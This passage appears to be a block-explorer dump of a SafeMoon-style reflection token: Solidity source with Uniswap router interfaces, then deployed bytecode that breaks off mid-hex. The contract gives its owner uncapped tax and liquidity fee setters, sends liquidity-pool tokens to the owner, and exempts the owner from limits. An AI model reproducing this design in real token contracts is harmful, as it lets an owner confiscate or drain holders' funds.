uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SafeMoon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "SafeMoon"; string private _symbol = "SAFEMOON"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 1000000000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x60806040526004361061021e5760003560e01c80635342acb411610123578063a457c2d7116100ab578063d543dbeb1161006f578063d543dbeb14610bab578063dd46706414610be6578063dd62ed3e14610c21578063ea2f0b3714610ca6578063f2fde38b14610cf757610225565b8063a457c2d714610a4a578063a69df4b514610abb578063a9059cbb14610ad2578063b6c5232414610b43578063c49b9a8014610b6e57610225565b80637d1db4a5116100f25780637d1db4a5146108ac57806388f82020146108d75780638da5cb5b1461093e5780638ee88c531461097f57806395d89b41146109ba57610225565b80635342acb41461079e5780636bc87c3a1461080557806370a0823114610830578063715018a61461089557610225565b80633685d419116101a6578063437823ec11610175578063437823ec146106335780634549b0391461068457806349bd5a5e146106df5780634a74bb021461072057806352390c021461074d57610225565b80633685d4191461050b578063395093511461055c5780633b124fe7146105cd5780633bd5d173146105f857610225565b80631694505e116101ed5780631694505e1461039157806318160ddd146103d257806323b872dd146103fd5780632d8381191461048e578063313ce567146104dd57610225565b8063061c82d01461022a57806306fdde0314610265578063095ea7b3146102f557806313114a9d1461036657610225565b3661022557005b600080fd5b34801561023657600080fd5b506102636004803603602081101561024d57600080fd5b8101908080359060200190929190505050610d48565b005b34801561027157600080fd5b5061027a610e1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ba57808201518184015260208101905061029f565b50505050905090810190601f1680156102e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030157600080fd5b5061034e6004803603604081101561031857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ebc565b60405180821515815260200191505060405180910390f35b34801561037257600080fd5b5061037b610eda565b6040518082815260200191505060405180910390f35b34801561039d57600080fd5b506103a6610ee4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103de57600080fd5b506103e7610f08565b6040518082815260200191505060405180910390f35b34801561040957600080fd5b506104766004803603606081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f12565b60405180821515815260200191505060405180910390f35b34801561049a57600080fd5b506104c7600480360360208110156104b157600080fd5b8101908080359060200190929190505050610feb565b6040518082815260200191505060405180910390f35b3480156104e957600080fd5b506104f261106f565b604051808260ff16815260200191505060405180910390f35b34801561051757600080fd5b5061055a6004803603602081101561052e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611086565b005b34801561056857600080fd5b506105b56004803603604081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611410565b60405180821515815260200191505060405180910390f35b3480156105d957600080fd5b506105e26114c3565b6040518082815260200191505060405180910390f35b34801561060457600080fd5b506106316004803603602081101561061b57600080fd5b81019080803590602001909291905050506114c9565b005b34801561063f57600080fd5b506106826004803603602081101561065657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165a565b005b34801561069057600080fd5b506106c9600480360360408110156106a757600080fd5b810190808035906020019092919080351515906020019092919050505061177d565b6040518082815260200191505060405180910390f35b3480156106eb57600080fd5b506106f4611834565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072c57600080fd5b50610735611858565b60405180821515815260200191505060405180910390f35b34801561075957600080fd5b5061079c6004803603602081101561077057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061186b565b005b3480156107aa57600080fd5b506107ed600480360360208110156107c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b85565b60405180821515815260200191505060405180910390f35b34801561081157600080fd5b5061081a611bdb565b6040518082815260200191505060405180910390f35b34801561083c57600080fd5b5061087f6004803603602081101561085357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be1565b6040518082815260200191505060405180910390f35b3480156108a157600080fd5b506108aa611ccc565b005b3480156108b857600080fd5b506108c1611e52565b6040518082815260200191505060405180910390f35b3480156108e357600080fd5b50610926600480360360208110156108fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e58565b60405180821515815260200191505060405180910390f35b34801561094a57600080fd5b50610953611eae565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561098b57600080fd5b506109b8600480360360208110156109a257600080fd5b8101908080359060200190929190505050611ed7565b005b3480156109c657600080fd5b506109cf611fa9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a0f5780820151818401526020810190506109f4565b50505050905090810190601f168015610a3c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a5657600080fd5b50610aa360048036036040811015610a6d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061204b565b60405180821515815260200191505060405180910390f35b348015610ac757600080fd5b50610ad0612118565b005b348015610ade57600080fd5b50610b2b60048036036040811015610af557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612335565b60405180821515815260200191505060405180910390f35b348015610b4f57600080fd5b50610b58612353565b6040518082815260200191505060405180910390f35b348015610b7a57600080fd5b50610ba960048036036020811015610b9157600080fd5b8101908080351515906020019092919050505061235d565b005b348015610bb757600080fd5b50610be460048036036020811015610bce57600080fd5b810190808035906020019092919050505061247b565b005b348015610bf257600080fd5b50610c1f60048036036020811015610c0957600080fd5b8101908080359060200190929190505050612574565b005b348015610c2d57600080fd5b50610c9060048036036040811015610c4457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612765565b6040518082815260200191505060405180910390f35b348015610cb257600080fd5b50610cf560048036036020811015610cc957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127ec565b005b348015610d0357600080fd5b50610d4660048036036020811015610d1a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061290f565b005b610d50612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600f8190555050565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb25780601f10610e8757610100808354040283529160200191610eb2565b820191906000526020600020905b815481529060010190602001808311610e9557829003601f168201915b5050505050905090565b6000610ed0610ec9612b1a565b8484612b22565b6001905092915050565b6000600b54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600954905090565b6000610f1f848484612d19565b610fe084610f2b612b1a565b610fdb85604051806060016040528060288152602001614cea60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f91612b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130de9092919063ffffffff16565b612b22565b600190509392505050565b6000600a54821115611048576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614c2f602a913960400191505060405180910390fd5b600061105261319e565b905061106781846131c990919063ffffffff16565b915050919050565b6000600e60009054906101000a900460ff16905090565b61108e612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661120d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b60088054905081101561140c578173ffffffffffffffffffffffffffffffffffffffff166008828154811061124157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156113ff5760086001600880549050038154811061129d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600882815481106112d557fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060088054806113c557fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561140c565b8080600101915050611210565b5050565b60006114b961141d612b1a565b846114b4856005600061142e612b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b612b22565b6001905092915050565b600f5481565b60006114d3612b1a565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614d84602c913960400191505060405180910390fd5b60006115838361329b565b505050505090506115dc81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132f790919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163481600a546132f790919063ffffffff16565b600a8190555061164f83600b5461321390919063ffffffff16565b600b81905550505050565b611662612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611722576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009548311156117f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b816118175760006118078461329b565b505050505090508091505061182e565b60006118228461329b565b50505050915050809150505b92915050565b7f000000000000000000000000730c96fce4c713cc7f9901fcbb29f020845be73581565b601360019054906101000a900460ff1681565b611873612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611933576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611ac757611a83600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610feb565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60115481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c7c57600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611cc7565b611cc4600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610feb565b90505b919050565b611cd4612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60145481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611edf612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060118190555050565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120415780601f1061201657610100808354040283529160200191612041565b820191906000526020600020905b81548152906001019060200180831161202457829003601f168201915b5050505050905090565b600061210e612058612b1a565b8461210985604051806060016040528060258152602001614dd36025913960056000612082612b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130de9092919063ffffffff16565b612b22565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121be576040517f08c